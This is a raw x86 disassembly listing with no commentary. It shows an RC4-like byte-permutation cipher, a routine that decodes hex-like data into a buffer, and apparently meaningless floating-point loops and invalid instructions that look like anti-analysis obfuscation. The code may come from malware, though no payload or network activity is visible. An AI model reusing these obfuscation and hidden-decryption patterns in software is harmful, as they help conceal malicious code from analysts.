mov byte [ebp - 0x1cb], al
movzx ecx, byte [ebp - 0x1c8]
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x194]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
xor ecx, eax
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x1af]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
movzx edx, byte [ebp - 0x1cb]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
movzx edx, byte [ebp + eax - 0x1654]
xor ecx, edx
mov byte [ebp - 0x1a0], cl
mov al, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], al
mov cl, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], cl
cmp dword [ebp - 0x224], 0
jle 0x48b2e4
mov edx, dword [ebp - 0x224]
mov al, byte [ebp - 0x1ec]
mov byte [ebp + edx - 0x95], al
jmp 0x48b073
mov ecx, dword [ebp - 0x330]
add ecx, 1
mov dword [ebp - 0x330], ecx
mov edx, 1
imul eax, edx, 0x12
mov dword [ebp - 0xf88], eax
cmp dword [ebp - 0xf88], 0x13
jae 0x48b311
jmp 0x48b317
call fcn.0051c285
nop
mov ecx, dword [ebp - 0xf88]
mov byte [ebp + ecx - 0x94], 0
jmp 0x48b378
mov dword [ebp - 0xcc8], 0
jmp 0x48b342
mov edx, dword [ebp - 0xcc8]
add edx, 1
mov dword [ebp - 0xcc8], edx
cmp dword [ebp - 0xcc8], 0x13
jge 0x48b378
mov eax, dword [ebp - 0xcc8]
mov dword [ebp - 0xf8c], eax
cmp dword [ebp - 0xf8c], 0x13
jae 0x48b362
jmp 0x48b368
call fcn.0051c285
nop
mov ecx, dword [ebp - 0xf8c]
mov byte [ebp + ecx - 0x94], 0
jmp 0x48b333
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x1968], eax
lea ecx, [ebp - 0x94]
push ecx
mov ecx, dword [ebp - 0x1968]
call fcn.004dd330
mov edx, dword [ebp - 0x1f4]
mov dword [edx + 0x50], eax
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x14c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xbb8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb18], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb18], xmm0
jmp 0x48b3f1
movsd xmm0, qword [ebp - 0xb18]
addsd xmm0, qword [0x580ab8]
movsd qword [ebp - 0xb18], xmm0
movsd xmm0, qword [0x582298]
comisd xmm0, xmmword [ebp - 0xb18]
jbe 0x48b4a2
movsd xmm0, qword [0x582088]
mulsd xmm0, qword [ebp - 0xb18]
mulsd xmm0, qword [ebp - 0xb18]
movsd xmm1, qword [ebp - 0xb18]
mulsd xmm1, qword [ebp - 0xb18]
subsd xmm0, xmm1
movsd xmm1, qword [0x580b18]
mulsd xmm1, qword [ebp - 0xb18]
mulsd xmm1, qword [ebp - 0xb18]
addsd xmm1, qword [0x581f28]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xbb8]
movsd qword [ebp - 0xbb8], xmm0
movsd xmm0, qword [ebp - 0xbb8]
comisd xmm0, xmmword [0x581fe0]
jbe 0x48b49d
movsd xmm0, qword [0x581dd8]
mulsd xmm0, qword [ebp - 0xb18]
movsd xmm1, qword [ebp - 0xbb8]
subsd xmm1, xmm0
movsd qword [ebp - 0xbb8], xmm1
jmp 0x48b3d9
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xbb8]
jbe 0x48b4ec
xchg ecx, eax
inc edi
mov dword [0x4a934b89], edi
xchg ebx, eax
inc ecx
xchg esp, eax
inc ebx
mov ecx, dword [edx - 0x76]
inc eax
pop dword [ebp - 0x73]
inc eax
mov ecx, dword [edx - 0x77]
inc eax
mov es, word [ebp - 0x71]
inc eax
invalid
mov dword [ebp - 0x148], 0x48b4af
mov dword [ebp - 0x14c], 0x48b4cf
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x474], eax
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x196c], ecx
mov byte [ebp - 0x765], 0x1c
mov dword [ebp - 0x46c], 0
jmp 0x48b53a
mov edx, dword [ebp - 0x46c]
add edx, 1
mov dword [ebp - 0x46c], edx
cmp dword [ebp - 0x46c], 0x100
jae 0x48b55b
mov eax, dword [ebp - 0x46c]
mov cl, byte [ebp - 0x46c]
mov byte [ebp + eax - 0x1254], cl
jmp 0x48b52b
mov dword [ebp - 0xac8], 0
mov byte [ebp - 0x200], 0
mov dword [ebp - 0x46c], 0xff
jmp 0x48b587
mov edx, dword [ebp - 0x46c]
sub edx, 1
mov dword [ebp - 0x46c], edx
cmp dword [ebp - 0x46c], 0
jbe 0x48b7f7
mov dword [ebp - 0xd2c], 0
mov dword [ebp - 0xccc], 1
mov eax, dword [ebp - 0xccc]
cmp eax, dword [ebp - 0x46c]
jae 0x48b5c8
mov ecx, dword [ebp - 0xccc]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0xccc], edx
jmp 0x48b5a8
mov eax, dword [ebp - 0xac8]
mov dword [ebp - 0xf98], eax
cmp dword [ebp - 0xf98], 3
ja case.default.0x48b5e7
mov ecx, dword [ebp - 0xf98]
jmp dword [ecx*4 + 0x495154]
movzx edx, byte [ebp - 0x200]
movzx ebx, byte [ebp + edx - 0x1254]
movsd xmm0, qword [ebp - 0xbb8]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x200], bl
jmp 0x48b6d0
movzx eax, byte [ebp - 0x200]
movzx ebx, byte [ebp + eax - 0x1254]
movsd xmm0, qword [ebp - 0xbb8]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x200], bl
jmp 0x48b6d0
movzx ecx, byte [ebp - 0x200]
movzx ebx, byte [ebp + ecx - 0x1254]
movsd xmm0, qword [ebp - 0xbb8]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x200], bl
jmp 0x48b6d0
movzx edx, byte [ebp - 0x200]
movzx ebx, byte [ebp + edx - 0x1254]
movsd xmm0, qword [ebp - 0xbb8]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x200], bl
jmp 0x48b6d0
movzx eax, byte [ebp - 0x200]
movzx ecx, byte [ebp + eax - 0x1254]
mov edx, dword [ebp - 0x196c]
add edx, dword [ebp - 0xac8]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x200], cl
mov ecx, dword [ebp - 0xac8]
add ecx, 1
mov dword [ebp - 0xac8], ecx
movzx edx, byte [ebp - 0x765]
cmp dword [ebp - 0xac8], edx
jb 0x48b70e
mov dword [ebp - 0xac8], 0
movzx eax, byte [ebp - 0x765]
movzx ecx, byte [ebp - 0x200]
add ecx, eax
mov byte [ebp - 0x200], cl
movzx edx, byte [ebp - 0x200]
and edx, dword [ebp - 0xccc]
mov dword [ebp - 0x92c], edx
mov eax, dword [ebp - 0xd2c]
add eax, 1
mov dword [ebp - 0xd2c], eax
cmp dword [ebp - 0xd2c], 0xb
jbe 0x48b74d
mov eax, dword [ebp - 0x92c]
xor edx, edx
div dword [ebp - 0x46c]
mov dword [ebp - 0x92c], edx
mov ecx, dword [ebp - 0x92c]
cmp ecx, dword [ebp - 0x46c]
ja 0x48b5c8
mov edx, dword [ebp - 0x46c]
cmp edx, dword [ebp - 0x92c]
je 0x48b7f2
mov eax, dword [ebp - 0x92c]
movzx ecx, byte [ebp + eax - 0x1254]
mov edx, dword [ebp - 0x46c]
movzx eax, byte [ebp + edx - 0x1254]
xor eax, ecx
mov ecx, dword [ebp - 0x46c]
mov byte [ebp + ecx - 0x1254], al
mov edx, dword [ebp - 0x46c]
movzx eax, byte [ebp + edx - 0x1254]
mov ecx, dword [ebp - 0x92c]
movzx edx, byte [ebp + ecx - 0x1254]
xor edx, eax
mov eax, dword [ebp - 0x92c]
mov byte [ebp + eax - 0x1254], dl
mov ecx, dword [ebp - 0x92c]
movzx edx, byte [ebp + ecx - 0x1254]
mov eax, dword [ebp - 0x46c]
movzx ecx, byte [ebp + eax - 0x1254]
xor ecx, edx
mov edx, dword [ebp - 0x46c]
mov byte [ebp + edx - 0x1254], cl
jmp 0x48b578
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x1254]
mov byte [ebp - 0x18f], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x1254]
mov byte [ebp - 0x199], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x1254]
mov byte [ebp - 0x1bb], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x1254]
mov byte [ebp - 0x198], cl
movzx edx, byte [ebp - 0x200]
mov al, byte [ebp + edx - 0x1254]
mov byte [ebp - 0x1a7], al
mov dword [ebp - 0xf9c], 0x20
cmp dword [ebp - 0xf9c], 2
jle 0x48e137
mov ecx, dword [ebp - 0xf9c]
and ecx, 1
jne 0x48e137
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x2f4], 0
mov edx, dword [ebp - 0x2f4]
add edx, 1
mov dword [ebp - 0x2f4], edx
mov dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x210]
shl eax, 1
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x3e4], 0
mov ecx, dword [ebp - 0x474]
add ecx, dword [ebp - 0x470]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x3e4], edx
mov dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x3ac]
add eax, 0x88
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x478], 0
mov ecx, dword [ebp - 0x210]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x478], edx
mov dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x474]
add eax, dword [ebp - 0x478]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3b4], 0
mov edx, dword [ebp - 0x3b4]
add edx, 0x3d
mov dword [ebp - 0x3b4], edx
mov dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x3e4]
sub eax, dword [ebp - 0x3ac]
add eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3bc], 0
mov ecx, dword [ebp - 0x3b0]
sub ecx, dword [ebp - 0x3b4]
add ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x47c], 0
mov edx, dword [ebp - 0x3b8]
shl edx, 4
mov dword [ebp - 0x47c], edx
mov dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x484], 0
mov ecx, dword [ebp - 0x47c]
or ecx, dword [ebp - 0x480]
mov dword [ebp - 0x484], ecx
mov byte [ebp - 0x1c3], 0
mov dl, byte [ebp - 0x484]
mov byte [ebp - 0x1c3], dl
mov byte [ebp - 0x1bc], 0
movzx eax, byte [ebp - 0x1a7]
mov cl, byte [ebp + eax - 0x1254]
mov byte [ebp - 0x1bc], cl
movzx edx, byte [ebp - 0x18f]
movzx eax, byte [ebp + edx - 0x1254]
mov dword [ebp - 0x1970], eax
mov cl, byte [ebp - 0x18f]
add cl, 1
mov byte [ebp - 0x18f], cl
movzx edx, byte [ebp - 0x199]
add edx, dword [ebp - 0x1970]
mov byte [ebp - 0x199], dl
movzx eax, byte [ebp - 0x199]
movzx ecx, byte [ebp - 0x1a7]
mov dl, byte [ebp + eax - 0x1254]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x198]
movzx ecx, byte [ebp - 0x199]
mov dl, byte [ebp + eax - 0x1254]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x18f]
movzx ecx, byte [ebp - 0x198]
mov dl, byte [ebp + eax - 0x1254]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x18f]
mov cl, byte [ebp - 0x1bc]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x1bc]
movzx eax, byte [ebp + edx - 0x1254]
movzx ecx, byte [ebp - 0x1bb]
add ecx, eax
mov byte [ebp - 0x1bb], cl
movzx edx, byte [ebp - 0x1c3]
movzx eax, byte [ebp - 0x199]
movzx ecx, byte [ebp + eax - 0x1254]
movzx eax, byte [ebp - 0x18f]
movzx eax, byte [ebp + eax - 0x1254]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1254]
xor edx, ecx
movzx eax, byte [ebp - 0x198]
movzx ecx, byte [ebp + eax - 0x1254]
movzx eax, byte [ebp - 0x1a7]
movzx eax, byte [ebp + eax - 0x1254]
add ecx, eax
movzx eax, byte [ebp - 0x1bb]
movzx eax, byte [ebp + eax - 0x1254]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1254]
movzx eax, byte [ebp + ecx - 0x1254]
xor edx, eax
mov byte [ebp - 0x198], dl
mov cl, byte [ebp - 0x1c3]
mov byte [ebp - 0x1a7], cl
mov dl, byte [ebp - 0x198]
mov byte [ebp - 0x1e4], dl
cmp dword [ebp - 0x210], 0
jle 0x48bb89
mov eax, dword [ebp - 0x210]
mov cl, byte [ebp - 0x1e4]
mov byte [ebp + eax - 0x4d], cl
mov edx, dword [ebp - 0x210]
add edx, 1
mov dword [ebp - 0x210], edx
mov eax, dword [ebp - 0x2f4]
add eax, 1
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x210]
shl ecx, 1
mov dword [ebp - 0x470], ecx
mov edx, dword [ebp - 0x474]
add edx, dword [ebp - 0x470]
movzx eax, byte [edx]
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3ac], 0x88
mov ecx, dword [ebp - 0x210]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x478], edx
mov eax, dword [ebp - 0x474]
add eax, dword [ebp - 0x478]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3b4], 0x3d
mov edx, dword [ebp - 0x3e4]
sub edx, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b8], edx
mov eax, dword [ebp - 0x3b0]
sub eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x3bc], eax
mov ecx, dword [ebp - 0x3b8]
shl ecx, 4
mov dword [ebp - 0x47c], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [ebp - 0x480], edx
mov eax, dword [ebp - 0x47c]
or eax, dword [ebp - 0x480]
mov dword [ebp - 0x484], eax
mov cl, byte [ebp - 0x484]
mov byte [ebp - 0x1c3], cl
movzx edx, byte [ebp - 0x1a7]
mov al, byte [ebp + edx - 0x1254]
mov byte [ebp - 0x1bc], al
movzx ecx, byte [ebp - 0x18f]
movzx edx, byte [ebp + ecx - 0x1254]
mov dword [ebp - 0x1974], edx
mov al, byte [ebp - 0x18f]
add al, 1
mov byte [ebp - 0x18f], al
movzx ecx, byte [ebp - 0x199]
add ecx, dword [ebp - 0x1974]
mov byte [ebp - 0x199], cl
movzx edx, byte [ebp - 0x199]
movzx eax, byte [ebp - 0x1a7]
mov cl, byte [ebp + edx - 0x1254]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x198]
movzx eax, byte [ebp - 0x199]
mov cl, byte [ebp + edx - 0x1254]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x18f]
movzx eax, byte [ebp - 0x198]
mov cl, byte [ebp + edx - 0x1254]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x18f]
mov al, byte [ebp - 0x1bc]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x1bc]
movzx edx, byte [ebp + ecx - 0x1254]
movzx eax, byte [ebp - 0x1bb]
add eax, edx
mov byte [ebp - 0x1bb], al
movzx ecx, byte [ebp - 0x1c3]
movzx edx, byte [ebp - 0x199]
movzx eax, byte [ebp + edx - 0x1254]
movzx edx, byte [ebp - 0x18f]
movzx edx, byte [ebp + edx - 0x1254]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1254]
xor ecx, eax
movzx edx, byte [ebp - 0x198]
movzx eax, byte [ebp + edx - 0x1254]
movzx edx, byte [ebp - 0x1a7]
movzx edx, byte [ebp + edx - 0x1254]
add eax, edx
movzx edx, byte [ebp - 0x1bb]
movzx edx, byte [ebp + edx - 0x1254]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1254]
movzx edx, byte [ebp + eax - 0x1254]
xor ecx, edx
mov byte [ebp - 0x198], cl
mov al, byte [ebp - 0x1c3]
mov byte [ebp - 0x1a7], al
mov cl, byte [ebp - 0x198]
mov byte [ebp - 0x1e4], cl
cmp dword [ebp - 0x210], 0
jle 0x48bde5
mov edx, dword [ebp - 0x210]
mov al, byte [ebp - 0x1e4]
mov byte [ebp + edx - 0x4d], al
mov ecx, dword [ebp - 0x2f4]
add ecx, 4
mov dword [ebp - 0x2f4], ecx
mov edx, dword [ebp - 0x210]
add edx, 1
mov dword [ebp - 0xd30], edx
jmp 0x48be14
mov eax, dword [ebp - 0xd30]
add eax, 1
mov dword [ebp - 0xd30], eax
mov ecx, dword [ebp - 0xd30]
cmp ecx, dword [ebp - 0x2f4]
jge 0x48c07b
mov edx, dword [ebp - 0x210]
add edx, 1
mov dword [ebp - 0x210], edx
mov eax, dword [ebp - 0x210]
shl eax, 1
mov dword [ebp - 0x470], eax
mov ecx, dword [ebp - 0x474]
add ecx, dword [ebp - 0x470]
movzx edx, byte [ecx]
mov dword [ebp - 0x3e4], edx
mov dword [ebp - 0x3ac], 0x88
mov eax, dword [ebp - 0x210]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x478], ecx
mov edx, dword [ebp - 0x474]
add edx, dword [ebp - 0x478]
movzx eax, byte [edx]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3b4], 0x3d
mov ecx, dword [ebp - 0x3e4]
sub ecx, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b8], ecx
mov edx, dword [ebp - 0x3b0]
sub edx, dword [ebp - 0x3b4]
mov dword [ebp - 0x3bc], edx
mov eax, dword [ebp - 0x3b8]
shl eax, 4
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x480], ecx
mov edx, dword [ebp - 0x47c]
or edx, dword [ebp - 0x480]
mov dword [ebp - 0x484], edx
mov al, byte [ebp - 0x484]
mov byte [ebp - 0x1c3], al
movzx ecx, byte [ebp - 0x1a7]
mov dl, byte [ebp + ecx - 0x1254]
mov byte [ebp - 0x1bc], dl
movzx eax, byte [ebp - 0x18f]
movzx ecx, byte [ebp + eax - 0x1254]
mov dword [ebp - 0x1978], ecx
mov dl, byte [ebp - 0x18f]
add dl, 1
mov byte [ebp - 0x18f], dl
movzx eax, byte [ebp - 0x199]
add eax, dword [ebp - 0x1978]
mov byte [ebp - 0x199], al
movzx ecx, byte [ebp - 0x199]
movzx edx, byte [ebp - 0x1a7]
mov al, byte [ebp + ecx - 0x1254]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x198]
movzx edx, byte [ebp - 0x199]
mov al, byte [ebp + ecx - 0x1254]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x18f]
movzx edx, byte [ebp - 0x198]
mov al, byte [ebp + ecx - 0x1254]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x18f]
mov dl, byte [ebp - 0x1bc]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x1bc]
movzx ecx, byte [ebp + eax - 0x1254]
movzx edx, byte [ebp - 0x1bb]
add edx, ecx
mov byte [ebp - 0x1bb], dl
movzx eax, byte [ebp - 0x1c3]
movzx ecx, byte [ebp - 0x199]
movzx edx, byte [ebp + ecx - 0x1254]
movzx ecx, byte [ebp - 0x18f]
movzx ecx, byte [ebp + ecx - 0x1254]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1254]
xor eax, edx
movzx ecx, byte [ebp - 0x198]
movzx edx, byte [ebp + ecx - 0x1254]
movzx ecx, byte [ebp - 0x1a7]
movzx ecx, byte [ebp + ecx - 0x1254]
add edx, ecx
movzx ecx, byte [ebp - 0x1bb]
movzx ecx, byte [ebp + ecx - 0x1254]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1254]
movzx ecx, byte [ebp + edx - 0x1254]
xor eax, ecx
mov byte [ebp - 0x198], al
mov dl, byte [ebp - 0x1c3]
mov byte [ebp - 0x1a7], dl
mov al, byte [ebp - 0x198]
mov byte [ebp - 0x1e4], al
cmp dword [ebp - 0x210], 0
jle 0x48c076
mov ecx, dword [ebp - 0x210]
mov dl, byte [ebp - 0x1e4]
mov byte [ebp + ecx - 0x4d], dl
jmp 0x48be05
mov eax, dword [ebp - 0x2f4]
add eax, 1
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x210]
add ecx, 1
mov dword [ebp - 0x210], ecx
mov edx, dword [ebp - 0x2f4]
add edx, 1
mov dword [ebp - 0x2f4], edx
mov eax, dword [ebp - 0x210]
shl eax, 1
mov dword [ebp - 0x470], eax
mov ecx, dword [ebp - 0x474]
add ecx, dword [ebp - 0x470]
movzx edx, byte [ecx]
mov dword [ebp - 0x3e4], edx
mov dword [ebp - 0x3ac], 0x88
mov eax, dword [ebp - 0x210]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x478], ecx
mov edx, dword [ebp - 0x474]
add edx, dword [ebp - 0x478]
movzx eax, byte [edx]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3b4], 0x3d
mov ecx, dword [ebp - 0x3e4]
sub ecx, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b8], ecx
mov edx, dword [ebp - 0x3b0]
sub edx, dword [ebp - 0x3b4]
mov dword [ebp - 0x3bc], edx
mov eax, dword [ebp - 0x3b8]
shl eax, 4
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x480], ecx
mov edx, dword [ebp - 0x47c]
or edx, dword [ebp - 0x480]
mov dword [ebp - 0x484], edx
mov al, byte [ebp - 0x484]
mov byte [ebp - 0x1c3], al
movzx ecx, byte [ebp - 0x1a7]
mov dl, byte [ebp + ecx - 0x1254]
mov byte [ebp - 0x1bc], dl
movzx eax, byte [ebp - 0x18f]
movzx ecx, byte [ebp + eax - 0x1254]
mov dword [ebp - 0x197c], ecx
mov dl, byte [ebp - 0x18f]
add dl, 1
mov byte [ebp - 0x18f], dl
movzx eax, byte [ebp - 0x199]
add eax, dword [ebp - 0x197c]
mov byte [ebp - 0x199], al
movzx ecx, byte [ebp - 0x199]
movzx edx, byte [ebp - 0x1a7]
mov al, byte [ebp + ecx - 0x1254]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x198]
movzx edx, byte [ebp - 0x199]
mov al, byte [ebp + ecx - 0x1254]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x18f]
movzx edx, byte [ebp - 0x198]
mov al, byte [ebp + ecx - 0x1254]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x18f]
mov dl, byte [ebp - 0x1bc]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x1bc]
movzx ecx, byte [ebp + eax - 0x1254]
movzx edx, byte [ebp - 0x1bb]
add edx, ecx
mov byte [ebp - 0x1bb], dl
movzx eax, byte [ebp - 0x1c3]
movzx ecx, byte [ebp - 0x199]
movzx edx, byte [ebp + ecx - 0x1254]
movzx ecx, byte [ebp - 0x18f]
movzx ecx, byte [ebp + ecx - 0x1254]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1254]
xor eax, edx
movzx ecx, byte [ebp - 0x198]
movzx edx, byte [ebp + ecx - 0x1254]
movzx ecx, byte [ebp - 0x1a7]
movzx ecx, byte [ebp + ecx - 0x1254]
add edx, ecx
movzx ecx, byte [ebp - 0x1bb]
movzx ecx, byte [ebp + ecx - 0x1254]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1254]
movzx ecx, byte [ebp + edx - 0x1254]
xor eax, ecx
mov byte [ebp - 0x198], al
mov dl, byte [ebp - 0x1c3]
mov byte [ebp - 0x1a7], dl
movsd xmm0, qword [0x582570]
movsd qword [ebp - 0xa08], xmm0
movsd xmm0, qword [0x582468]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [0x582390]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [0x582248]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [0x5820d8]
movsd qword [ebp - 0x99c], xmm0
movsd xmm0, qword [ebp - 0x6bc]
mulsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [ebp - 0x880]
mulsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [ebp - 0x6bc]
subsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [ebp - 0x6bc]
mulsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [ebp - 0x824]
subsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [ebp - 0x99c]
comisd xmm0, xmmword [ebp - 0x6bc]
jbe 0x48c59b
movsd xmm0, qword [ebp - 0xa08]
mulsd xmm0, qword [ebp - 0x880]
movsd qword [ebp - 0xa08], xmm0
movsd xmm0, qword [ebp - 0xa08]
subsd xmm0, qword [ebp - 0x880]
movsd qword [ebp - 0xa08], xmm0
movsd xmm0, qword [ebp - 0x824]
divsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [ebp - 0x824]
addsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [ebp - 0x880]
mulsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [ebp - 0x6bc]
mulsd xmm0, qword [ebp - 0xa08]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [ebp - 0x880]
subsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [ebp - 0x880]
mulsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [ebp - 0xa08]
addsd xmm0, qword [ebp - 0x880]
movsd qword [ebp - 0xa08], xmm0
movsd xmm0, qword [ebp - 0x824]
divsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [ebp - 0x880]
comisd xmm0, xmmword [ebp - 0x99c]
jbe 0x48c51e
movsd xmm0, qword [ebp - 0x880]
divsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [ebp - 0xa08]
subsd xmm0, qword [ebp - 0x824]
movsd qword [ebp - 0xa08], xmm0
movsd xmm0, qword [ebp - 0x6bc]
mulsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [ebp - 0x6bc]
mulsd xmm0, qword [ebp - 0x99c]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [ebp - 0x99c]
subsd xmm0, qword [ebp - 0xa08]
movsd qword [ebp - 0x99c], xmm0
jmp 0x48c596
movsd xmm0, qword [ebp - 0x824]
addsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [ebp - 0x824]
mulsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [ebp - 0x6bc]
mulsd xmm0, qword [ebp - 0xa08]
movsd qword [ebp - 0x6bc], xmm0
movsd xmm0, qword [ebp - 0x824]
subsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x824], xmm0
movsd xmm0, qword [ebp - 0x824]
divsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x824], xmm0
jmp 0x48c61f
movsd xmm0, qword [ebp - 0x880]
mulsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [ebp - 0x880]
mulsd xmm0, qword [ebp - 0x6bc]
movsd qword [ebp - 0x880], xmm0
movsd xmm0, qword [ebp - 0xa08]
mulsd xmm0, qword [ebp - 0x824]
movsd qword [ebp - 0xa08], xmm0
movsd xmm0, qword [ebp - 0x99c]
subsd xmm0, qword [ebp - 0xa08]
movsd qword [ebp - 0x99c], xmm0
movsd xmm0, qword [ebp - 0x824]
addsd xmm0, qword [ebp - 0x880]
movsd qword [ebp - 0x824], xmm0
mov al, byte [ebp - 0x198]
mov byte [ebp - 0x1e4], al
cmp dword [ebp - 0x210], 0
jle 0x48c638
mov ecx, dword [ebp - 0x210]
mov dl, byte [ebp - 0x1e4]
mov byte [ebp + ecx - 0x4d], dl
mov eax, dword [ebp - 0x210]
add eax, 1
mov dword [ebp - 0x210], eax
mov ecx, dword [ebp - 0x2f4]
add ecx, 1
mov dword [ebp - 0x2f4], ecx
mov edx, dword [ebp - 0x210]
shl edx, 1
